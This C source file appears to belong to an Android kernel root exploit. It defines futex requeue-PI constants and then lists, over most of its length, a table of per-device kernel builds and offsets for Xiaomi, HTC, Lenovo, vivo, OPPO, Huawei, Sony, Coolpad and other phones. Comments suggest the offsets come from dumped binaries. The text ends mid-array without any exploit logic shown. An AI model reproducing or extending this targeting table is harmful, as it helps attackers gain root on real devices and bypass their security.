#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/system_properties.h>
#include <sys/prctl.h>
#include <sys/utsname.h>
#include "util.h"
#include <sys/wait.h>

//#define DEBUG 

#ifdef DEBUG
#define printff    printf
#else
#define printff(...) 
#endif

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
#define FUTEX_LOCK_PI           6

typedef enum __bool { false = 0, true = 1, } bool;

typedef struct _phone_info {
    char band[64];
    char model[64];
    char release[64];
    char version[64];
    unsigned int e;
    unsigned int f;
    unsigned int a;
    unsigned int b;
    unsigned int c;
    unsigned int selinux_mark;
    unsigned int selinux_extra;
} phone_info_t, *phone_info_ptr;

struct mmsghdr {
    struct msghdr msg_hdr;
    unsigned int msg_len;
};

///////////////////////////////////////////////////////////////

phone_info_t g_supported_phones[] = {
	// 1410942842363.so_dump_fix_2 200
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00456-gf801d69", "#1 SMP PREEMPT Thu Nov 8 14:39:50 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00146-gfe30aa3", "#1 SMP PREEMPT Wed Nov 20 21:03:13 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00148-g5f2009a", "#1 SMP PREEMPT Fri Dec 27 16:52:36 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00148-g5f2009a", "#1 SMP PREEMPT Fri Dec 27 16:52:36 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00456-gf801d69", "#1 SMP PREEMPT Thu Nov 8 14:39:50 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00463-gfef2058", "#1 SMP PREEMPT Tue Jan 8 19:50:07 CST 2013", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00146-gd6845ec", "#1 SMP PREEMPT Mon Nov 4 20:10:00 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00146-gfe30aa3", "#1 SMP PREEMPT Wed Nov 20 21:03:13 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00148-g5f2009a", "#1 SMP PREEMPT Fri Dec 27 16:52:36 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00148-g5f2009a", "#1 SMP PREEMPT Fri Dec 27 16:52:36 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00464-ga326fac", "#1 SMP PREEMPT Tue Jan 8 11:46:49 CST 2013", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00460-g828c2db", "#1 SMP PREEMPT Tue Jan 8 11:46:49 CST 2013", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00431-gc7e12a7", "#1 SMP PREEMPT Sat Sep 8 15:23:57 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00257-g3f2aafd", "#1 SMP PREEMPT Wed Apr 18 11:54:02 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00324-g88d01df", "#1 SMP PREEMPT Thu May 31 11:44:54 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00300-gef5d7f5", "#1 SMP PREEMPT Thu May 17 11:44:16 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00407-g0f2149e", "#1 SMP PREEMPT Thu Aug 2 12:54:56 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00275-gc3da87b", "#1 SMP PREEMPT Thu Apr 26 15:11:03 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00463-g6de62aa", "#1 SMP PREEMPT Wed Dec 26 12:02:14 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00456-gf801d69", "#1 SMP PREEMPT Thu Nov 8 14:39:50 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00457-g8e42601", "#1 SMP PREEMPT Thu Nov 8 11:41:44 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00445-g35e37a3", "#1 SMP PREEMPT Thu Oct 25 14:45:31 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00444-g3e63096", "#1 SMP PREEMPT Sat Oct 13 11:20:59 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00443-g89cb076", "#1 SMP PREEMPT Thu Sep 27 11:41:26 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00433-ge070407", "#1 SMP PREEMPT Tue Sep 18 21:17:12 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00430-gf90d193", "#1 SMP PREEMPT Thu Aug 30 11:40:56 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00352-gfafbcce", "#1 SMP PREEMPT Fri Jun 29 15:08:02 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00339-gee5bc30", "#1 SMP PREEMPT Fri Jun 15 11:44:20 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00463-gfef2058", "#1 SMP PREEMPT Tue Jan 8 19:50:07 CST 2013", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00459-g59d1994", "#1 SMP PREEMPT Mon Dec 17 14:11:53 CST 2012", 0x1c, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI 3", "3.4.35-ga656ab9", "#1 SMP PREEMPT Thu Jun 12 15:19:39 CST 2014", 0x20, 0x0, 0x60, 0x90, 0x8, 0x0, 0x0}, \
	{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01073-gcb85193", "#1 SMP PREEMPT Thu Dec 26 16:48:59 CST 2013", 0x0, 0x40, 0x60, 0x34, 0x4, 0x0, 0x0}, \
	{"Xiaomi", "HM NOTE 1TD", "3.4.39", "#1 SMP PREEMPT Tue Jun 10 18:36:25 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x8, 0x0, 0x0}, \
	{"Xiaomi", "2013022", "3.4.5", "#1 SMP PREEMPT Thu Mar 20 11:11:36 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x14, 0x0, 0x0}, \
	{"Xiaomi", "2013023", "3.4.5", "#1 SMP PREEMPT Fri May 23 17:10:51 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x14, 0x0, 0x0}, \
	{"Xiaomi", "MI 3W", "3.4.0-ga568004-00677-g9eb30dc", "#1 SMP PREEMPT Tue May 6 22:48:41 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x10, 0x0, 0x0}, \
	{"Xiaomi", "MI 3W", "3.4.0-ga568004-00675-ge87eebf", "#1 SMP PREEMPT Thu Apr 3 11:33:26 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00100-g12d36ec", "#1 SMP PREEMPT Mon Feb 4 10:42:27 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00107-g6c5aa70", "#1 SMP PREEMPT Fri Mar 29 09:49:54 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00126-g608ff1c", "#1 SMP PREEMPT Sun Jun 9 11:29:37 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00134-g084f684", "#1 SMP PREEMPT Mon Jun 24 17:47:08 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00139-g394fe40", "#1 SMP PREEMPT Thu Jul 11 11:30:28 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00142-g2516f0f", "#1 SMP PREEMPT Thu Aug 1 09:46:38 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00146-gd6845ec", "#1 SMP PREEMPT Fri Nov 29 11:40:24 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.4.0-perf-g1ccebb5-00147-gc919eb3", "#1 SMP PREEMPT Mon Dec 16 20:39:45 CST 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01075-g6b3e759", "#1 SMP PREEMPT Wed Mar 26 10:19:46 CST 2014", 0x0, 0x40, 0x60, 0x34, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01077-gb91661e", "#1 SMP PREEMPT Thu Apr 10 17:26:53 CST 2014", 0x0, 0x40, 0x60, 0x34, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01078-g396e792", "#1 SMP PREEMPT Thu Apr 17 15:26:11 CST 2014", 0x0, 0x40, 0x60, 0x34, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01077-gb91661e", "#1 SMP PREEMPT Tue Apr 22 13:32:39 CST 2014", 0x0, 0x40, 0x60, 0x34, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI 2", "3.4.0-g52db9c3-01079-g71e5dac", "#1 SMP PREEMPT Tue May 27 12:26:40 CST 2014", 0x0, 0x40, 0x60, 0x34, 0x0, 0x0, 0x0}, \
	
	// 1414580377932.so added 2 items
	{"Xiaomi", "HM NOTE 1TD", "3.4.39", "#1 SMP PREEMPT Fri May 9 18:15:27 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "2013022", "3.4.5", "#1 SMP PREEMPT Thu Sep 18 15:03:15 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	
	// 1415782799520_unpack_dump.so added 5 items
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00442-gadca3bf", "#1 SMP PREEMPT Wed Sep 26 17:32:41 CST 2012", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00430-gf90d193", "#1 SMP PREEMPT Thu Aug 30 11:40:56 cst 2012", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00425-gdeff323", "#1 SMP PREEMPT Fri Aug 24 13:52:47 CST 2012", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00376-g48027f6", "#1 SMP PREEMPT Fri Aug 10 17:39:56 CST 2012", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Xiaomi", "MI-ONE Plus", "3.0.8-perf-00422-g8df0f00", "#1 SMP PREEMPT Wed Aug 22 13:36:18 CST 2012", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	
	// 1411536354280.so_dump_fix_2 232
	{"htc_asia_tw", "HTC Sensation Z710e", "3.0.16-gc61d866", "#1 SMP PREEMPT Fri Mar 9 14:55:07 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"htc", "HTC Desire S", "3.0.16-g62a67df", "#1 PREEMPT Thu Jun 14 13:53:36 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"htccn_chs_cu", "HTC Z710e", "3.0.16-gc764bfb", "#1 SMP PREEMPT Mon Mar 19 19:16:05 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"htc_asia_tw", "HTC Sensation Z710e", "3.0.16-g31a4fc7", "#1 SMP PREEMPT Mon May 28 15:06:07 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"htc", "HTC D816w", "3.4.0-g518cefc", "#1 SMP PREEMPT Fri Mar 14 21:27:52 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"Lenovo", "Lenovo A360t", "3.4.67", "#1 SMP PREEMPT Thu Jul 10 10:08:03 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A360t", "3.4.67", "#1 SMP PREEMPT Wed Aug 6 12:54:55 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A398t+", "3.4.5", "#1 SMP PREEMPT Mon Jan 20 20:49:10 CST 2014", 0x20, 0x0, 0x60, 0x50, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A398t+", "3.4.5", "#1 SMP PREEMPT Sun Jan 26 17:17:04 CST 2014", 0x20, 0x0, 0x60, 0x50, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A398t+", "3.4.5", "#1 SMP PREEMPT Tue Mar 18 18:51:06 HKT 2014", 0x20, 0x0, 0x60, 0x50, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A398t+", "3.4.5", "#1 SMP PREEMPT Tue Apr 8 19:06:01 HKT 2014", 0x20, 0x0, 0x60, 0x50, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A850", "3.4.5", "#1 SMP PREEMPT Sun Jul 28 17:54:50 CST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A850", "3.4.5", "#1 SMP PREEMPT Thu Aug 8 02:19:04 CST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A850", "3.4.5", "#1 SMP PREEMPT Wed Aug 14 17:38:00 CST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A850", "3.4.5", "#1 SMP PREEMPT Mon Aug 26 16:41:27 CST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A850", "3.4.5", "#1 SMP PREEMPT Sun Sep 15 21:51:12 CST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A850", "3.4.5", "#1 SMP PREEMPT Sun Sep 29 17:21:15 CST 2013", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A850", "3.4.5", "#1 SMP PREEMPT Sat Feb 8 18:28:34 CST 2014", 0x20, 0x0, 0x60, 0x40, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Tue Jun 10 00:25:47 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Fri Jun 13 22:49:24 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Thu Jun 26 15:57:38 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Fri Jul 4 22:05:16 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Fri Jun 20 20:19:47 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Tue Jul 8 17:12:08 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Mon Aug 25 16:37:48 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Fri Aug 8 20:09:54 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Tue Jul 29 18:01:14 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Thu Jul 24 11:11:08 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP  PREEM PT Tue Jul 15 21:28:55 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Mon Jul 14 12:51:27 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Thu Jun 26 15:57:38 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Xshot", "3.4.0-perf", "#1 SMP PREEMPT Mon Jun 16 21:51:39 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x4, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn5132", "5184 SMP PREEMPT Wed Aug 8 20:47:43 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn3913", "4030 SMP PREEMPT Sat Jun 30 12:04:30 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn6289", "6289 SMP PREEMPT Fri Aug 31 12:15:39 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn7917", "8011 SMP PREEMPT Fri Dec 14 18:47:11 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn4889", "4911 SMP PREEMPT Sun Jul 29 16:51:51 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn7917", "8008 SMP PREEMPT Fri Nov 30 11:56:48 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn5547", "5578 SMP PREEMPT Fri Aug 17 11:08:57 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn7829", "7841 SMP PREEMPT Fri Oct 26 17:30:34 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn4254", "4277 SMP PREEMPT Wed Jul 18 15:21:16 HKT 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn8062", "8070 SMP PREEMPT Wed Jan 30 15:41:42 CST 2013", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"OPPO", "X907", "3.0.8-perf-svn8065", "8079 SMP PREEMPT Tue Feb 5 23:20:27 CST 2013", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Huawei", "H30-T00", "3.4.5", "#1 SMP PREEMPT Thu Jul 3 03:06:24 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"Huawei", "HUAWEI C8816", "3.4.0+", "#1 SMP PREEMPT Tue Apr 1 17:31:14 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"Huawei", "HUAWEI C8816", "3.4.0+", "#1 SMP PREEMPT Tue Apr 1 17:31:14 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"Sony", "L39h", "3.4.0-perf-g6f5bf40", "#1 SMP PREEMPT Thu Mar 20 14:02:18 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x1, 0x5}, \
	{"Coolpad", "Coolpad 8702", "3.4.0-g1e451e8-04478-g4f98162", "#1 SMP PREEMPT Wed May 21 05:47:25 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"Coolpad", "Coolpad 8705", "3.4.39+", "#9 SMP PREEMPT Wed Jul 2 17:10:01 CST 2014", 0x20, 0x0, 0x60, 0x38, 0x0, 0x0, 0x0}, \
	{"yulong", "Coolpad 8720L", "3.4.39+", "#14 SMP PREEMPT Tue Jul 22 17:50:52 CST 2014", 0x20, 0x0, 0x60, 0x38, 0x0, 0x0, 0x0}, \
	{"yulong", "Coolpad 8720L", "3.4.39+", "#4 SMP PREEMPT Fri Jun 20 22:03:29 CST 2014", 0x20, 0x0, 0x60, 0x38, 0x4, 0x0, 0x0}, \
	{"Coolpad", "Coolpad 8720L", "3.4.39+", "#8 SMP PREEMPT Fri Jun 6 22:55:41 CST 2014", 0x20, 0x0, 0x60, 0x38, 0x4, 0x0, 0x0}, \
	{"SEMC", "LT26i", "3.4.0+1.0.21100-313065-g1ccebb5-00193-gcbc50fc", "#1 SMP PREEMPT Tue Jul 23 15:55:38 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"SEMC", "LT26i", "3.0.8+1.0.21100-30145-01956-g43358ca", "#1 SMP PREEMPT Mon Jul 30 13:29:45 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"Lenovo", "Lenovo A360t", "3.4.67", "#1 SMP PREEMPT Mon May 26 18:20:37 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x0}, \
	{"Lenovo", "Lenovo A360t", "3.4.67", "#1 SMP PREEMPT Wed Jul 30 13:34:17 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x0}, \
	{"Lenovo", "Lenovo A360t", "3.4.67", "#1 SMP PREEMPT Sat Jun 28 12:22:45 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x0}, \
	{"Lenovo", "Lenovo A360t", "3.4.67", "#1 SMP PREEMPT Thu Jun 5 21:58:45 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x0}, \
	{"SEMC", "LT26i", "3.4.0+1.0.21100-313065-g1ccebb5-00165-g78362b4", "#1 SMP PREEMPT Wed Apr 24 10:01:32 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"SEMC", "LT26i", "3.4.0+1.0.21100-313065-g1ccebb5-00166-g58b3171", "#1 SMP PREEMPT Wed May 22 17:36:36 2013", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"SEMC", "LT26i", "3.0.8+1.0.21100-30145-01926-g787c968", "#1 SMP PREEMPT Tue May 29 20:15:09 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"SEMC", "LT26i", "3.0.8+1.0.21100-30145-01957-gc34b591", "#1 SMP PREEMPT Fri Oct 5 01:14:38 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Tue Jun 10 00:25:47 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Fri Jun 13 22:49:24 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Fri Jun 20 20:19:47 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Thu Jun 26 15:57:38 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Fri Jul 4 22:05:16 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Tue Jul 8 17:12:08 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"vivo", "vivo Y22L", "3.4.0", "#1 SMP PREEMPT Wed Sep 3 18:12:14 CST 2014", 0x0, 0x40, 0x60, 0x3c, 0x0, 0x0, 0x0}, \
	{"htc_asia_wwe", "HTC Sensation XE with Beats Audio Z715e", "3.0.16-g8626210", "#1 SMP PREEMPT Fri Jun 22 15:58:32 CST 2012", 0x80, 0xc0, 0x0, 0x78, 0x0, 0x0, 0x0}, \
	{"GiONEE", "GN151", "3.4.67", "#1 SMP PREEMPT Tue Jul 8 22:49:31 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x1}, \
	{"GiONEE", "GN151", "3.4.67", "#1 SMP PREEMPT Tue Jul 15 22:29:17 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x1}, \
	{"GiONEE", "GN151", "3.4.67", "#1 SMP PREEMPT Wed Sep 10 16:03:21 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x1}, \
	{"GiONEE", "GN151", "3.4.67", "#1 SMP PREEMPT Tue Jul 22 19:04:47 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x1, 0x1}, \
	{"hp", "Slate 21", "3.4.35", "#1 SMP PREEMPT Tue Aug 6 15:48:27 CST 2013", 0x20, 0x0, 0x60, 0x90, 0x0, 0x0, 0x0}, \
	{"Coolpad", "Coolpad 8297W", "3.4.39", "#1 SMP PREEMPT Wed Apr 9 10:55:26 CST 2014", 0x20, 0x0, 0x60, 0x48, 0x0, 0x0, 0x0}, \
	{"Coolpad", "Coolpad 5891Q", "3.4.0-perf", "#1 SMP PREEMPT Wed Jan 22 01:47:56 CST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Coolpad", "Coolpad 5891Q", "3.4.0-perf", "#1 SMP PREEMPT Fri Mar 7 18:55:10 CST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
	{"Coolpad", "Coolpad 5891Q", "3.4.0-perf", "#1 SMP PREEMPT Sat Mar 15 00:00:08 CST 2014", 0x20, 0x0, 0x60, 0x30, 0x0, 0x0, 0x0}, \
